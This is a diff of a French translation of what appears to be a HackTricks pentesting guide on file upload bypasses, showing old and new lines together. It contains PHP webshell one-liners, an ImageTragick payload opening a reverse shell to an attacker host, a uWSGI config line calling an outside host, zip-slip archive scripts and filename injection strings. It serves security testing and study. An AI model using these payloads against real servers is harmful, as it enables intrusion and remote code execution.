||||
- Servir les uploads depuis des emplacements non exécutables.
|
||||
|
||||
### Contourner Content-Type, Magic Number, Compression & Resizing
|
||||
### Contourner **Content-Type**, **magic number**, Compression & Resizing
|
||||
|
||||
- Contourner les contrôles de **Content-Type** en définissant la **valeur** de l'**en-tête** **Content-Type** à : _image/png_ , _text/plain , application/octet-stream_
|
||||
- Contourner les vérifications de **Content-Type** en définissant la **value** de l'**header** **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Contourner le contrôle du **magic number** en ajoutant au début du fichier les **octets d'une image réelle** (pour tromper la commande _file_). Ou introduire le shell dans les **métadonnées**:\
|
||||
- Contourner la vérification du **magic number** en ajoutant au début du fichier les **bytes of a real image** (tromper la commande _file_). Ou introduire le shell dans les **metadata** :\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ou vous pouvez aussi **introduire le payload directement** dans une image:\
|
||||
`\` ou vous pouvez aussi **introduire la payload directement** dans une image :\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Si une **compression est appliquée à votre image**, par exemple en utilisant certaines librairies PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **PLTE chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- Si une **compression est appliquée à votre image**, par exemple en utilisant des bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **chunk PLTE** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- La page web peut aussi être en train de **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Toutefois, vous pouvez utiliser le **IDAT chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- La page web peut aussi **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **chunk IDAT** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Toutefois, vous pouvez utiliser le **tEXt chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- Une autre technique pour créer une payload qui **survit au redimensionnement d'une image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **chunk tEXt** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
### Autres trucs à tester
|
||||
|
||||
- Trouver une vulnérabilité permettant de **renommer** le fichier déjà uploadé (pour changer l'extension).
|
||||
- Trouver une vulnérabilité de **Local File Inclusion** pour exécuter la backdoor.
|
||||
- **Possible Information disclosure** :
|
||||
1. Téléverser **plusieurs fois** (et **en même temps**) le **même fichier** avec le **même nom**
|
||||
2. Téléverser un fichier portant le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà**
|
||||
3. Téléverser un fichier nommé **"."**, **".."** ou **"..."**. Par exemple, sous Apache sur **Windows**, si l'application sauvegarde les fichiers uploadés dans "/www/uploads/" directory, le nom de fichier "." créera un fichier appelé "uploads" dans le "/www/" directory.
|
||||
4. Téléverser un fichier qui peut être difficile à supprimer comme **"…:.jpg"** sur **NTFS**. (Windows)
|
||||
5. Téléverser un fichier sous **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom. (Windows)
|
||||
6. Téléverser un fichier sous **Windows** en utilisant des noms **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera ouvert accidentellement par la victime.
|
||||
- Trouver une vulnérabilité permettant de **rename** le fichier déjà uploaded (pour changer l'extension).
|
||||
- Trouver une vulnérabilité de type **Local File Inclusion** pour exécuter le backdoor.
|
||||
- **Divulgation d'informations possible** :
|
||||
1. Upload **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom**
|
||||
2. Upload un fichier avec le **nom** d'un **fichier** ou **d'un dossier** qui **existe déjà**
|
||||
3. Uploader un fichier avec **".", "..", ou "..." comme nom**. Par exemple, sous Apache sur **Windows**, si l'application enregistre les fichiers uploadés dans le répertoire "/www/uploads/", le nom de fichier "." créera un fichier appelé "uploads" dans le répertoire "/www/".
|
||||
4. Upload d'un fichier qui peut ne pas être facilement supprimé, comme **"…:.jpg”** sur **NTFS**. (Windows)
|
||||
5. Upload d'un fichier sous **Windows** avec des caractères **invalides** tels que `|<>*?”` dans son nom. (Windows)
|
||||
6. Upload d'un fichier sous **Windows** en utilisant des noms **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, et COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9.
|
||||
- Essayez aussi d'**uploader un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera accidentellement ouvert par la victime.
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
Si vous essayez de téléverser des fichiers sur un **serveur PHP**, [regardez le truc **.htaccess** pour exécuter du code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Si vous essayez de téléverser des fichiers sur un **serveur ASP**, [regardez le truc **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Si vous essayez d'uploader des fichiers vers un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Si vous essayez d'uploader des fichiers vers un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Les fichiers `.phar` sont comme les `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier php** (exécutés avec php, ou inclus dans un script...)
|
||||
Les fichiers `.phar` sont comme les `.jar` pour Java, mais pour php, et peuvent être **utilisés comme un fichier php** (exécutés avec php, ou inclus dans un script...).
|
||||
|
||||
L'extension `.inc` est parfois utilisée pour des fichiers php destinés uniquement à **importer des fichiers**, donc, il est possible qu'à un moment donné quelqu'un ait autorisé **l'exécution de cette extension**.
|
||||
L'extension `.inc` est parfois utilisée pour des fichiers php qui servent uniquement à **importer des fichiers**, donc, à un moment donné, quelqu'un pourrait avoir autorisé **l'exécution de cette extension**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obtenir [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Ainsi, comme mentionné dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell!
|
||||
Si vous pouvez uploader un fichier XML sur un serveur Jetty vous pouvez obtenir [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme mentionné dans l'image suivante, uploadez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
|
||||
|
||||
.png>)
|
||||
|
||||
@ -136,9 +136,9 @@ Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obte
|
||||
|
||||
Pour une exploration détaillée de cette vulnérabilité consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Les vulnérabilités de Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique incorporant des variables "magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé sous la forme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes supportés par uWSGI, le scheme "exec" est particulièrement puissant, permettant de lire des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être détournée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier `.ini` est traité.
|
||||
Les vulnérabilités de Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI exploitent une syntaxe spécifique pour incorporer des variables "magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes supportés par uWSGI, le scheme "exec" est particulièrement puissant, permettant de lire des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier `.ini` est traité.
|
||||
|
||||
Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant, démontrant divers schemes:
|
||||
Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant, montrant différents schemes :
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -156,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
L'exécution du payload a lieu lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le uWSGI process doit soit être redémarré (éventuellement après un crash ou à cause d'une Denial of Service attack), soit le fichier doit être configuré en auto-reload. La fonction auto-reload, si activée, recharge le fichier à des intervalles spécifiés lorsqu'un changement est détecté.
|
||||
L'exécution du payload a lieu lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou à cause d'une attaque de Denial of Service), soit le fichier doit être configuré en rechargement automatique. La fonctionnalité de rechargement automatique, si elle est activée, recharge le fichier à intervalles spécifiés lorsqu'elle détecte des modifications.
|
||||
|
||||
Il est crucial de comprendre la permissivité de l'analyse du fichier de configuration de uWSGI. Plus précisément, le payload discuté peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant ainsi la portée de l'exploitation possible.
|
||||
Il est crucial de comprendre la nature laxiste de l'analyse des fichiers de configuration par uWSGI. Plus précisément, le payload évoqué peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant ainsi le champ d'exploitation potentiel.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
## **Truc wget File Upload/SSRF**
|
||||
|
||||
Dans certains cas, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l'**URL**. Dans ces situations, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist afin de s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
|
||||
La **longueur maximale** d'un **nom de fichier** sous **linux** est **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger** un fichier appelé "A"\*232+".php"+".gif" — ce nom de fichier contourn e la **vérification** (dans cet exemple **".gif"** est une **extension** valide) mais `wget` renommer a le fichier en "A"\*232+".php".
|
||||
Parfois, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés figure dans une liste blanche afin de s'assurer que seuls des fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
|
||||
La **longueur maximale** d'un **nom de fichier** sous **linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (car dans cet exemple **".gif"** est une **extension valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -186,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Notez que **une autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le **HTTP server redirige vers un fichier différent**, de sorte que l'URL initiale contournera la vérification puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **à moins que** wget soit utilisé avec le **parameter** `--trust-server-names` parce que **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale**.
|
||||
Notez qu'**une autre option** à laquelle vous pensez pour contourner cette vérification est de faire en sorte que **le serveur HTTP redirige vers un fichier différent**, ainsi l'URL initiale pourra contourner la vérification puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **sauf si** wget est utilisé avec le **paramètre** `--trust-server-names` parce que **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale**.
|
||||
|
||||
## Tools
|
||||
## Outils
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) est un outil puissant conçu pour aider les Pentesters and Bug Hunters à tester les mécanismes d'upload de fichiers. Il exploite diverses bug bounty techniques pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) est un outil puissant conçu pour aider les Pentesters et Bug Hunters à tester les mécanismes d'upload de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
### Corruption des indices d'upload avec les particularités de snprintf (historique)
|
||||
|
||||
Certains anciens handlers d'upload qui utilisent `snprintf()` ou des fonctions similaires pour construire des tableaux multi-fichiers à partir d'un upload single-file peuvent être trompés afin de forger la structure `_FILES`. En raison d'incohérences et de troncatures dans le comportement de `snprintf()`, un upload soigneusement conçu peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une structure stricte (par ex., en le traitant comme un multi-file upload et en prenant des branches non sécurisées). Bien que niche aujourd'hui, ce pattern de “index corruption” réapparaît occasionnellement dans des CTFs et de anciens codebases.
|
||||
Certains handlers d'upload legacy qui utilisent `snprintf()` ou des fonctions similaires pour construire des tableaux multi-fichiers à partir d'un upload mono-fichier peuvent être trompés pour forger la structure `_FILES`. En raison d'incohérences et de troncatures dans le comportement de `snprintf()`, un upload unique soigneusement conçu peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une forme stricte (par ex., le traiter comme un multi-file upload et emprunter des branches non sécurisées). Bien que niche aujourd'hui, ce motif de “index corruption” réapparaît parfois dans les CTFs et les anciens codebases.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
## De l'upload de fichiers vers d'autres vulnérabilités
|
||||
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||
- Définissez **filename** sur `../../../tmp/lol.png` et essayez d'obtenir un **path traversal**
|
||||
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez réussir une **SQL injection**
|
||||
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour obtenir un **XSS**
|
||||
- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Essayez **différents svg payloads** depuis [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL**, vous pourriez tenter d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/index.html). Si cette **image** va être **enregistrée** sur un site **public**, vous pourriez aussi indiquer une URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations de chaque visiteur**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Check if there is any **size limit** uploading files
|
||||
- PDFs spécialement conçus pour XSS : la [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez uploader des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire en suivant les indications données.
|
||||
- Uploader le [eicar](https://secure.eicar.org/eicar.com.txt) pour vérifier si le serveur possède un **antivirus**
|
||||
- Vérifiez s'il existe une **limite de taille** lors de l'upload de fichiers
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Voici un top 10 des choses que vous pouvez accomplir en uploadant (d'après [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -239,15 +239,15 @@ https://github.com/portswigger/upload-scanner
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
Consultez [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) pour d'autres types de fichiers.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
## Upload Zip/Tar automatiquement décompressé
|
||||
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
Si vous pouvez uploader un ZIP qui va être décompressé sur le serveur, vous pouvez faire 2 choses :
|
||||
|
||||
### Symlink
|
||||
|
||||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||
Uploader une archive contenant des liens symboliques vers d'autres fichiers ; ensuite, en accédant aux fichiers décompressés vous accéderez aux fichiers liés :
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -255,18 +255,20 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Décompresser dans différents dossiers
|
||||
|
||||
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème majeur. Bien que l'on puisse penser que cette configuration protège contre l'exécution de commandes au niveau OS via des uploads de fichiers malveillants, la prise en charge de la compression hiérarchique et les capacités de traversal de répertoires du format d'archive ZIP peuvent être exploitées. Cela permet aux attaquants de contourner les restrictions et d'échapper aux répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
|
||||
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Malgré les hypothèses initiales selon lesquelles cette configuration pourrait protéger contre OS-level command execution via des uploads de fichiers malveillants, le support de la compression hiérarchique et les capacités de directory traversal du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et d'échapper aux répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
|
||||
|
||||
Un exploit automatisé pour générer de tels fichiers est disponible à [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
|
||||
Un exploit automatisé pour générer de tels fichiers est disponible sur [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
De plus, le **symlink trick with evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son exécution.
|
||||
De plus, le **symlink trick with evilarc** est une option.
|
||||
|
||||
Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant :
|
||||
Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son fonctionnement.
|
||||
|
||||
Voici un exemple de code Python utilisé pour créer un fichier zip malveillant :
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -284,11 +286,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Abuser la compression pour le file spraying**
|
||||
**Abuser de la compression pour le file spraying**
|
||||
|
||||
Pour plus de détails **consultez l'article original sur** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Pour plus de détails, **consultez l'article original** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: Le code PHP est écrit pour exécuter des commandes passées via la variable `$_REQUEST`.
|
||||
1. **Création d'un PHP Shell**: Du code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -298,14 +300,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
|
||||
2. **File Spraying et création d'une archive compressée**: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un hex editor, en changeant "xxA" en "../" pour traverser les répertoires.
|
||||
3. **Modification avec un Hex Editor ou vi**: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un hex editor, en remplaçant "xxA" par "../" pour traverser les répertoires.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -315,40 +317,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Téléversez ce contenu avec une extension image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)** (d'après l'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Téléversez ce contenu avec une extension d'image pour exploiter la vulnérabilité **(ImageMagick, 7.0.1-1)** (à partir de l'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Intégrer une PHP shell dans un PNG
|
||||
## Intégration d'un PHP shell dans un PNG
|
||||
|
||||
Incorporer une PHP shell dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'images. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. Le fait que la PHP shell intégrée reste inchangée par ces opérations constitue un avantage important pour certains cas d'utilisation.
|
||||
Intégrer un PHP shell dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner les images, respectivement. La capacité du PHP shell intégré à rester intact malgré ces opérations est un avantage majeur pour certains cas d'utilisation.
|
||||
|
||||
Une exploration détaillée de cette technique, incluant sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications.
|
||||
Une exploration détaillée de cette technique, y compris sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications.
|
||||
|
||||
Plus d'informations : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Fichiers polyglottes
|
||||
|
||||
Les fichiers polyglottes sont un outil unique en cybersécurité, agissant comme des caméléons pouvant exister valablement dans plusieurs formats de fichiers simultanément. Un exemple intéressant est le [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et une archive RAR. Ces fichiers ne se limitent pas à cette paire ; des combinaisons comme GIF et JS ou PPT et JS sont également possibles.
|
||||
Les fichiers polyglottes sont un outil particulier en cybersécurité, agissant comme des caméléons pouvant valablement exister dans plusieurs formats de fichiers simultanément. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme GIF et archive RAR. Ces fichiers ne se limitent pas à cette combinaison ; des associations comme GIF et JS ou PPT et JS sont également possibles.
|
||||
|
||||
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. Il est courant que certaines applications n'autorisent que certains types de fichiers à être uploadés — comme JPEG, GIF ou DOC — afin de réduire le risque lié aux formats potentiellement dangereux (par ex. JS, PHP ou fichiers Phar). Cependant, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut discrètement contourner ces restrictions.
|
||||
